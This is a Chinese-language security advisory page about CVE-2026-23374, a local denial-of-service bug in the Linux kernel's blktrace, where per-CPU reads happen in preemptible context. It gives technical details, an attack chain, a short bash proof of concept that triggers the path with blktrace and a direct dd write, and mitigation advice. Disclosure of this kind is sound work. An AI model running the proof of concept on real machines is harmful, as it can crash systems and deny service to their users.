IPBUF安全漏洞报告
English
CVE-2026-23374 CVSS 5.5 中危

CVE-2026-23374: Linux内核blktrace本地拒绝服务漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23374
漏洞类型
本地拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoS本地漏洞blktrace竞态条件CVE-2026-23374

漏洞概述

Linux内核中的blktrace模块存在一个安全漏洞,该漏洞源于在可抢占的上下文中使用了不安全的`__this_cpu_read`和`__this_cpu_write`操作。具体来说,`__blk_add_trace`函数在进程上下文中调用了`tracing_record_cmdline`,而后者期望在抢占被禁用的环境下运行。当抢占开启时,这些操作会触发内核断言(BUG),导致系统崩溃或内核恐慌。该漏洞要求低权限本地用户即可触发,主要影响系统的可用性,可能导致内核拒绝服务。修复补丁已通过调整调用上下文或禁用抢占来解决这个问题。

技术细节

该漏洞的根源在于Linux内核blktrace子系统在处理块设备跟踪时的上下文管理错误。函数`tracing_record_cmdline`内部使用了`__this_cpu_read()`和`__this_cpu_write()`来访问每CPU变量`trace_cmdline_save`。这些操作是原子的,但前提是假设当前CPU不会发生改变,即必须在抢占被禁用(preemption disabled)的上下文中执行。内核通过`lockdep_assert_preemption_disabled()`对此进行了显式断言。然而,`__blk_add_trace()`函数在调用`tracing_record_cmdline(current)`时,尚未进行环形缓冲区(ring buffer)的预留,且此时处于完全开启抢占的进程上下文中。当本地低权限用户发起特定的I/O操作(如通过blktests套件中的测试用例)触发blktrace路径时,会在`blk_add_trace_bio`等相关路径中执行上述逻辑。由于抢占开启,CPU可能切换,导致`__this_cpu_read`读取到错误的数据或触发内核检测机制,打印“BUG: using __this_cpu_read() in preemptible code”错误信息,并最终导致内核崩溃或系统挂起。

攻击链分析

STEP 1
步骤1: 获取访问权限
攻击者获得本地系统的低权限用户访问。
STEP 2
步骤2: 触发blktrace
攻击者确保blktrace正在块设备上运行,或者利用管理员已开启的blktrace功能。
STEP 3
步骤3: 执行I/O操作
攻击者执行特定的I/O操作(如使用dd命令读写块设备),以触发内核的块层跟踪路径。
STEP 4
步骤4: 触发内核断言
内核在`__blk_add_trace`中调用`tracing_record_cmdline`,因抢占未禁用而触发`BUG`断言。
STEP 5
步骤5: 拒绝服务
系统记录错误日志,可能导致内核崩溃或系统挂起,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-23374: Linux Kernel blktrace DoS # Requires local access and blktrace enabled # Load null_blk module for testing modprobe null_blk nr_devices=1 # Start blktrace monitoring on the device # This activates the vulnerable code path blktrace -d /dev/nullb0 -o - & TRACE_PID=$! # Wait for trace to start sleep 1 # Perform Direct I/O to trigger __blk_add_trace # This calls the vulnerable function in preemptible context dd if=/dev/zero of=/dev/nullb0 bs=4k count=1 oflag=direct &>/dev/null # Check kernel log for the BUG message sleep 1 dmesg | tail -20 | grep -i "BUG: using __this_cpu_read" # Cleanup kill $TRACE_PID rmmod null_blk

影响范围

Linux Kernel (Mainline)
Linux Kernel 7.0.0-rc1

防御指南

临时缓解措施
如果不便立即升级内核,建议禁用blktrace功能以降低风险。可以通过限制`CAP_SYS_ADMIN`权限来防止普通用户触发该路径,或者确保系统未处于可抢占的内核配置下。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表